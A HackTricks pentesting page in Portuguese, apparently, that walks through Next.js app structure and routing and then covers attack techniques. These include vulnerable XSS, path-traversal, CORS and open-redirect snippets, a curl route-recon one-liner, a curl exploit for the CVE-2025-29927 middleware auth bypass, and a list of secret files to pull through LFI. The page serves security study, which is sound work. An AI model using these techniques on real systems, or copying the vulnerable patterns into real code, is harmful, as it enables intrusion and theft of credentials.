NextJS

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Arquitetura Geral de uma Aplicação Next.js

Estrutura de Arquivos Típica

Um projeto Next.js padrão segue uma estrutura específica de arquivos e diretórios que facilita recursos como rotas, endpoints de API e gerenciamento de ativos estáticos. Aqui está um layout típico:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

Core Directories and Files

  • public/: Hospeda arquivos estáticos, como imagens, fontes e outros arquivos. Arquivos aqui são acessíveis no caminho raiz (/).
  • app/: Diretório central para as páginas, layouts, componentes e rotas API da sua aplicação. Adota o App Router paradigm, permitindo recursos avançados de roteamento e segregação entre componentes servidor-cliente.
  • app/layout.tsx: Define o layout raiz da sua aplicação, envolvendo todas as páginas e fornecendo elementos de interface consistentes como cabeçalhos, rodapés e barras de navegação.
  • app/page.tsx: Serve como ponto de entrada para a rota raiz /, renderizando a página inicial.
  • app/[route]/page.tsx: Trata rotas estáticas e dinâmicas. Cada pasta dentro de app/ representa um segmento de rota, e page.tsx dentro dessas pastas corresponde ao componente da rota.
  • app/api/: Contém rotas de API, permitindo criar funções serverless que tratam requisições HTTP. Essas rotas substituem o diretório tradicional pages/api.
  • app/components/: Abriga componentes React reutilizáveis que podem ser utilizados em diferentes páginas e layouts.
  • app/styles/: Contém arquivos CSS globais e CSS Modules para estilização com escopo por componente.
  • app/utils/: Inclui funções utilitárias, módulos auxiliares e outra lógica não ligada à UI que pode ser compartilhada pela aplicação.
  • .env.local: Armazena variáveis de ambiente específicas do desenvolvimento local. Essas variáveis não são commitadas no controle de versão.
  • next.config.js: Customiza o comportamento do Next.js, incluindo configurações do webpack, variáveis de ambiente e ajustes de segurança.
  • tsconfig.json: Configura as opções do TypeScript para o projeto, habilitando checagem de tipos e outras funcionalidades do TypeScript.
  • package.json: Gerencia dependências do projeto, scripts e metadados.
  • README.md: Fornece documentação e informações sobre o projeto, incluindo instruções de configuração, diretrizes de uso e outros detalhes relevantes.
  • yarn.lock / package-lock.json: Travam as dependências do projeto em versões específicas, garantindo instalações consistentes entre diferentes ambientes.

Client-Side in Next.js

File-Based Routing in the app Directory

O diretório app é a pedra angular do roteamento nas versões mais recentes do Next.js. Ele utiliza o sistema de arquivos para definir rotas, tornando o gerenciamento de rotas intuitivo e escalável.

Tratando o caminho raiz /

Estrutura de Arquivos:

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Arquivos-chave:

  • app/page.tsx: Trata requisições para o caminho raiz /.
  • app/layout.tsx: Define o layout da aplicação, envolvendo todas as páginas.

Implementação:

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

Explicação:

  • Definição da rota: O arquivo page.tsx diretamente sob o diretório app corresponde à rota /.
  • Renderização: Este componente renderiza o conteúdo da página inicial.
  • Integração de layout: O componente HomePage é envolvido por layout.tsx, que pode incluir cabeçalhos, rodapés e outros elementos comuns.
Lidando com Outros Caminhos Estáticos

Exemplo: Rota /about

Estrutura de arquivos:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementação:

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

Explicação:

  • Definição de Rota: O arquivo page.tsx dentro da pasta about corresponde à rota /about.
  • Renderização: Este componente renderiza o conteúdo da página /about.
Rotas Dinâmicas

Rotas dinâmicas permitem lidar com caminhos com segmentos variáveis, possibilitando que aplicações exibam conteúdo com base em parâmetros como IDs, slugs, etc.

Exemplo: /posts/[id] Route

Estrutura de Arquivos:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementação:

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

Explicação:

  • Dynamic Segment: [id] denota um segmento dinâmico na rota, capturando o parâmetro id da URL.
  • Accessing Parameters: O objeto params contém os parâmetros dinâmicos, acessíveis dentro do componente.
  • Route Matching: Qualquer caminho correspondente a /posts/*, como /posts/1, /posts/abc, etc., será tratado por este componente.
Rotas Aninhadas

Next.js suporta rotas aninhadas, permitindo estruturas de rotas hierárquicas que espelham a organização de diretórios.

Exemplo: Rota /dashboard/settings/profile

File Structure:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementação:

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

Explicação:

  • Aninhamento Profundo: O arquivo page.tsx dentro de dashboard/settings/profile/ corresponde à rota /dashboard/settings/profile.
  • Reflexo da Hierarquia: A estrutura de diretórios reflete o caminho da URL, facilitando a manutenção e a clareza.
Rotas Catch-All

Rotas catch-all lidam com múltiplos segmentos aninhados ou caminhos desconhecidos, oferecendo flexibilidade no tratamento de rotas.

Exemplo: Rota /*

Estrutura de Arquivos:

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementação:

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

Explicação:

  • Catch-All Segment: [...slug] captura todos os segmentos de caminho restantes como um array.
  • Usage: Útil para lidar com cenários de roteamento dinâmico como caminhos gerados por usuários, categorias aninhadas, etc.
  • Route Matching: Paths like /anything/here, /foo/bar/baz, etc., are handled by this component.

Potenciais Vulnerabilidades do Lado do Cliente

While Next.js provides a secure foundation, improper coding practices can introduce vulnerabilities. As principais vulnerabilidades do lado do cliente incluem:

Cross-Site Scripting (XSS)

XSS attacks occur when malicious scripts are injected into trusted websites. Attackers can execute scripts in users’ browsers, stealing data or performing actions on behalf of the user.

Exemplo de Código Vulnerável:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

Por que é vulnerável: O uso de dangerouslySetInnerHTML com entradas não confiáveis permite que atacantes injetem scripts maliciosos.

Client-Side Template Injection

Ocorre quando entradas de usuário são tratadas de forma inadequada em templates, permitindo que atacantes injetem e executem templates ou expressões.

Exemplo de Código Vulnerável:

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

Por que é Vulnerável: Se template ou data incluir conteúdo malicioso, isso pode levar à execução de código não intencional.

Client Path Traversal

É uma vulnerabilidade que permite aos atacantes manipular caminhos no lado do cliente para realizar ações não intencionais, como Cross-Site Request Forgery (CSRF). Ao contrário do server-side path traversal, que tem como alvo o sistema de arquivos do servidor, o CSPT foca em explorar mecanismos do lado do cliente para redirecionar requisições legítimas de API para endpoints maliciosos.

Exemplo de Código Vulnerável:

Uma aplicação Next.js permite que usuários façam upload e download de arquivos. A funcionalidade de download é implementada no lado do cliente, onde os usuários podem especificar o caminho do arquivo a ser baixado.

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

Cenário de Ataque

  1. Objetivo do atacante: Realizar um ataque CSRF para deletar um arquivo crítico (ex.: admin/config.json) manipulando o filePath.
  2. Exploiting CSPT:
  • Malicious Input: O atacante cria uma URL com um filePath manipulado, por exemplo ../deleteFile/config.json.
  • Resulting API Call: O código do lado do cliente faz uma requisição para /api/files/../deleteFile/config.json.
  • Server’s Handling: Se o servidor não validar o filePath, ele processa a requisição, potencialmente deletando ou expondo arquivos sensíveis.
  1. Executando CSRF:
  • Crafted Link: O atacante envia à vítima um link ou injeta um script malicioso que dispara a requisição de download com o filePath manipulado.
  • Outcome: A vítima executa a ação sem saber, levando a acesso não autorizado ou exclusão de arquivos.

Por que é Vulnerável

  • Falta de Validação de Entrada: O lado do cliente permite entradas arbitrárias em filePath, permitindo path traversal.
  • Confiança nas Entradas do Cliente: A API do lado do servidor confia e processa o filePath sem sanitização.
  • Ações Potenciais da API: Se o endpoint da API realiza ações que alteram estado (ex.: deletar, modificar arquivos), pode ser explorado via CSPT.

Recon: descoberta de rotas de exportação estática via _buildManifest

When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.

  • Pegue o buildId da resposta root (frequentemente impresso no final) ou de tags <script> que carregam /_next/static/<buildId>/....
  • Busque o manifest e extraia as rotas:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
  • Use os caminhos descobertos (por exemplo /docs, /docs/content/examples, /signin) para conduzir auth testing e endpoint discovery.

Lado do Servidor no Next.js

Renderização do Lado do Servidor (SSR)

As páginas são renderizadas no servidor a cada requisição, garantindo que o usuário receba HTML totalmente renderizado. Nesse caso você deve criar seu próprio servidor customizado para processar as requisições.

Casos de Uso:

  • Conteúdo dinâmico que muda frequentemente.
  • Otimização de SEO, já que os mecanismos de busca podem rastrear a página totalmente renderizada.

Implementação:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Geração de Site Estático (SSG)

As páginas são pré-renderizadas em tempo de build, resultando em tempos de carregamento mais rápidos e menor carga no servidor.

Casos de uso:

  • Conteúdo que não muda com frequência.
  • Blogs, documentação, páginas de marketing.

Implementação:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Funções Serverless (API Routes)

Next.js permite a criação de endpoints de API como funções serverless. Essas funções são executadas sob demanda sem a necessidade de um servidor dedicado.

Casos de Uso:

  • Tratamento de envios de formulários.
  • Interação com bancos de dados.
  • Processamento de dados ou integração com APIs de terceiros.

Implementação:

Com a introdução do diretório app no Next.js 13, o roteamento e o tratamento de API ficaram mais flexíveis e poderosos. Essa abordagem moderna se alinha ao sistema de roteamento baseado em arquivos, mas introduz capacidades aprimoradas, incluindo suporte a componentes do servidor e do cliente.

Manipulador de Rota Básico

Estrutura de Arquivos:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

Implementação:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

Explicação:

  • Localização: API routes are placed under the app/api/ directory.
  • Nome do Arquivo: Cada endpoint de API reside em sua própria pasta contendo um arquivo route.js ou route.ts.
  • Funções Exportadas: Em vez de um export default único, funções específicas para métodos HTTP (por exemplo, GET, POST) são exportadas.
  • Tratamento de Resposta: Use o construtor Response para retornar respostas, permitindo maior controle sobre cabeçalhos e códigos de status.

Como lidar com outros caminhos e métodos:

Tratamento de Métodos HTTP Específicos

Next.js 13+ permite definir handlers para métodos HTTP específicos dentro do mesmo arquivo route.js ou route.ts, promovendo um código mais claro e organizado.

Exemplo:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

Explicação:

  • Múltiplas exportações: Cada método HTTP (GET, PUT, DELETE) tem sua própria função exportada.
  • Parâmetros: O segundo argumento fornece acesso aos parâmetros de rota via params.
  • Respostas aprimoradas: Maior controle sobre objetos de resposta, permitindo gerenciamento preciso de cabeçalhos e códigos de status.
Rotas Catch-All e Aninhadas

Next.js 13+ suporta recursos avançados de roteamento como rotas catch-all e rotas de API aninhadas, permitindo estruturas de API mais dinâmicas e escaláveis.

Exemplo de Rota Catch-All:

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

Explicação:

  • Sintaxe: [...] denota um segmento catch-all, capturando todos os caminhos aninhados.
  • Uso: Útil para APIs que precisam lidar com diferentes profundidades de rota ou segmentos dinâmicos.

Exemplo de Rotas Aninhadas:

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

Explicação:

  • Aninhamento profundo: Permite estruturas de API hierárquicas, refletindo relacionamentos entre recursos.
  • Acesso a parâmetros: Acesse facilmente múltiplos parâmetros de rota através do objeto params.
Tratando rotas de API no Next.js 12 e em versões anteriores

Rotas de API no diretório pages (Next.js 12 e em versões anteriores)

Antes do Next.js 13 introduzir o diretório app e recursos de roteamento aprimorados, as rotas de API eram definidas principalmente dentro do diretório pages. Essa abordagem ainda é amplamente usada e suportada no Next.js 12 e em versões anteriores.

Rota de API básica

Estrutura de arquivos:

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

Implementação:

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

Explicação:

  • Localização: As rotas de API ficam sob o diretório pages/api/.
  • Exportação: Use export default para definir a função handler.
  • Assinatura da Função: O handler recebe os objetos req (requisição HTTP) e res (resposta HTTP).
  • Roteamento: O nome do arquivo (hello.js) mapeia para o endpoint /api/hello.

Rotas de API Dinâmicas

Estrutura de Arquivos:

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

Implementação:

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Explicação:

  • Segmentos Dinâmicos: Colchetes ([id].js) indicam segmentos de rota dinâmicos.
  • Acessando Parâmetros: Use req.query.id para acessar o parâmetro dinâmico.
  • Tratamento de Métodos: Utilize lógica condicional para tratar diferentes métodos HTTP (GET, PUT, DELETE, etc).

Tratamento de Diferentes Métodos HTTP

Embora o exemplo básico de rota API trate todos os métodos HTTP dentro de uma única função, você pode estruturar seu código para tratar cada método explicitamente para maior clareza e facilidade de manutenção.

Exemplo:

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Melhores Práticas:

  • Separação de responsabilidades: Separe claramente a lógica para diferentes métodos HTTP.
  • Consistência de respostas: Garanta estruturas de resposta consistentes para facilitar o processamento no lado do cliente.
  • Tratamento de erros: Trate métodos não suportados e erros inesperados de forma adequada.

Configuração de CORS

Controle quais origens podem acessar suas rotas de API, mitigando vulnerabilidades de Cross-Origin Resource Sharing (CORS).

Exemplo de Configuração Ruim:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

Observe que CORS também pode ser configurado em todas as rotas de API dentro do arquivo middleware.ts:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

Problema:

  • Access-Control-Allow-Origin: '*': Permite que qualquer website acesse a API, potencialmente permitindo que sites maliciosos interajam com sua API sem restrições.
  • Permissão ampla de métodos: Permitir todos os métodos pode permitir que atacantes realizem ações indesejadas.

Como atacantes exploram isso:

Atacantes podem criar sites maliciosos que fazem requisições à sua API, potencialmente abusando de funcionalidades como recuperação de dados, manipulação de dados ou acionando ações indesejadas em nome de usuários autenticados.

CORS - Misconfigurations & Bypass

Exposição de código do servidor no lado do cliente

É fácil usar código do servidor também em código exposto e executado no lado do cliente, a melhor maneira de garantir que um arquivo de código nunca seja exposto no lado do cliente é usando esta importação no início do arquivo:

import "server-only"

Arquivos-chave e seus papéis

middleware.ts / middleware.js

Localização: Raiz do projeto ou dentro de src/.

Finalidade: Executa código na função serverless do lado do servidor antes de uma requisição ser processada, permitindo tarefas como autenticação, redirecionamentos ou modificação de respostas.

Fluxo de execução:

  1. Requisição de entrada: O middleware intercepta a requisição.
  2. Processamento: Executa operações com base na requisição (ex.: verifica autenticação).
  3. Modificação da resposta: Pode alterar a resposta ou passar o controle para o próximo handler.

Exemplos de uso:

  • Redirecionar usuários não autenticados.
  • Adicionar cabeçalhos personalizados.
  • Registrar requisições.

Exemplo de configuração:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

Se a autorização for aplicada em middleware, releases afetadas do Next.js (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) podem ser contornadas ao injetar o header x-middleware-subrequest. O framework pulará a recursão do middleware e retornará a página protegida.

  • O comportamento padrão costuma ser um redirecionamento 307 para uma rota de login como /api/auth/signin.
  • Envie um valor longo para x-middleware-subrequest (repita middleware para atingir MAX_RECURSION_DEPTH) para mudar a resposta para 200:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
  • Como páginas autenticadas carregam muitos subrecursos, adicione o cabeçalho a cada requisição (por exemplo, Burp Match/Replace with an empty match string) para evitar que os recursos sejam redirecionados.

next.config.js

Localização: Raiz do projeto.

Propósito: Configura o comportamento do Next.js, habilitando ou desabilitando recursos, customizando as configurações do webpack, definindo variáveis de ambiente e configurando várias funcionalidades de segurança.

Principais Configurações de Segurança:

Cabeçalhos de Segurança

Os cabeçalhos de segurança reforçam a proteção da sua aplicação instruindo os navegadores sobre como lidar com o conteúdo. Eles ajudam a mitigar vários ataques, como Cross-Site Scripting (XSS), Clickjacking e detecção de tipo MIME:

  • Content Security Policy (CSP)
  • X-Frame-Options
  • X-Content-Type-Options
  • Strict-Transport-Security (HSTS)
  • Referrer Policy

Exemplos:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
Configurações de Otimização de Imagens

Next.js otimiza imagens para desempenho, mas configurações incorretas podem levar a vulnerabilidades de segurança, como permitir que fontes não confiáveis injetem conteúdo malicioso.

Exemplo de Configuração Inadequada:

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

Problema:

  • '*': Permite que imagens sejam carregadas de qualquer origem externa, incluindo domínios não confiáveis ou maliciosos. Atacantes podem hospedar imagens contendo payloads maliciosos ou conteúdo que induz o usuário ao erro.
  • Outro problema pode ser permitir um domínio onde qualquer pessoa pode enviar uma imagem (como raw.githubusercontent.com)

Como atacantes abusam disso:

Ao injetar imagens de fontes maliciosas, atacantes podem realizar ataques de phishing, exibir informações enganosas ou explorar vulnerabilidades em bibliotecas de renderização de imagens.

Exposição de Variáveis de Ambiente

Gerencie informações sensíveis como chaves de API e credenciais de banco de dados de forma segura sem expô-las ao cliente.

a. Exposição de Variáveis Sensíveis

Exemplo de Configuração Ruim:

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Not exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for exposure to client
},
}

Problem:

  • SECRET_API_KEY: Sem o prefixo NEXT_PUBLIC_, o Next.js não expõe variáveis para o lado do cliente. Contudo, se for prefixada por engano (ex.: NEXT_PUBLIC_SECRET_API_KEY), ela se torna acessível no lado do cliente.

How attackers abuse it:

Se variáveis sensíveis são expostas ao cliente, atacantes podem recuperá-las inspecionando o código do lado do cliente ou requisições de rede, obtendo acesso não autorizado a APIs, bancos de dados ou outros serviços.

Redirecionamentos

Manage URL redirections and rewrites within your application, ensuring that users are directed appropriately without introducing open redirect vulnerabilities.

a. Open Redirect Vulnerability

Exemplo de má configuração:

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

Problema:

  • Dynamic Destination: Permite que usuários especifiquem qualquer URL, possibilitando ataques de open redirect.
  • Trusting User Input: Redirecionar para URLs fornecidas por usuários sem validação pode levar a phishing, distribuição de malware ou roubo de credenciais.

How attackers abuse it:

Atacantes podem criar URLs que parecem originar do seu domínio, mas redirecionam usuários para sites maliciosos. Por exemplo:

https://yourdomain.com/redirect?url=https://malicious-site.com

Usuários que confiam no domínio original podem, sem saber, navegar para sites maliciosos.

Configuração do Webpack

Personalize as configurações do Webpack para sua aplicação Next.js, o que pode inadvertidamente introduzir vulnerabilidades de segurança se não for feito com cautela.

a. Expondo Módulos Sensíveis

Exemplo de Configuração Ruim:

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

Problema:

  • Expondo caminhos sensíveis: Criar aliases para diretórios sensíveis e permitir acesso do lado do cliente podem leak informações confidenciais.
  • Agrupamento de segredos: Se arquivos sensíveis são empacotados para o cliente, seus conteúdos ficam acessíveis através de source maps ou inspecionando o código do lado do cliente.

Como atacantes abusam disso:

Atacantes podem acessar ou reconstruir a estrutura de diretórios da aplicação, potencialmente encontrando e explorando arquivos ou dados sensíveis.

pages/_app.js and pages/_document.js

pages/_app.js

Propósito: Substitui o componente App padrão, permitindo estado global, estilos e componentes de layout.

Casos de uso:

  • Injetando CSS global.
  • Adicionando wrappers de layout.
  • Integrando bibliotecas de gerenciamento de estado.

Exemplo:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

Purpose: Substitui o Document padrão, permitindo a customização das tags HTML e Body.

Use Cases:

  • Modificando as tags <html> ou <body>.
  • Adicionando meta tags ou scripts personalizados.
  • Integrando fontes de terceiros.

Example:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

Custom Server (Optional)

Propósito: Embora o Next.js venha com um server integrado, você pode criar um custom server para casos de uso avançados, como roteamento personalizado ou integração com serviços backend existentes.

Observação: Usar um custom server pode limitar as opções de deployment, especialmente em plataformas como Vercel que otimizam para o server integrado do Next.js.

Example:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

Considerações Adicionais de Arquitetura e Segurança

Variáveis de Ambiente e Configuração

Objetivo: Gerenciar informações sensíveis e configurações fora do código-fonte.

Melhores Práticas:

  • Use arquivos .env: Armazene variáveis como chaves de API em .env.local (excluído do controle de versão).
  • Acesse variáveis com segurança: Use process.env.VARIABLE_NAME para acessar variáveis de ambiente.
  • Nunca exponha segredos no cliente: Garanta que variáveis sensíveis sejam usadas apenas no servidor.

Exemplo:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

Nota: Para restringir variáveis apenas ao lado do servidor, omita-as do objeto env ou prefixe-as com NEXT_PUBLIC_ para exposição ao cliente.

Artefatos de servidor úteis para visar via endpoints de LFI/download

Se encontrar um path traversal ou download API em uma app Next.js, mire em artefatos compilados que leak segredos do lado do servidor e lógica de auth:

  • .env / .env.local para segredos de sessão e credenciais do provedor.
  • .next/routes-manifest.json e .next/build-manifest.json para uma lista completa de rotas.
  • .next/server/pages/api/auth/[...nextauth].js para recuperar a configuração compilada do NextAuth (frequentemente contém senhas de fallback quando os valores de process.env não estão definidos).
  • next.config.js / next.config.mjs para revisar reescritas, redirecionamentos e roteamento de middleware.

Authentication and Authorization

Abordagem:

  • Autenticação baseada em sessão: Utilize cookies para gerenciar sessões de usuário.
  • Autenticação baseada em token: Implemente JWTs para autenticação sem estado.
  • Provedores de terceiros: Integre com providers OAuth (e.g., Google, GitHub) usando bibliotecas como next-auth.

Práticas de Segurança:

  • Cookies seguros: Defina os atributos HttpOnly, Secure, e SameSite.
  • Hash de senhas: Sempre faça hash das senhas antes de armazená-las.
  • Validação de input: Previna ataques de injeção validando e sanitizando entradas.

Exemplo:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

Otimização de desempenho

Estratégias:

  • Otimização de imagens: Use o componente next/image do Next.js para otimização automática de imagens.
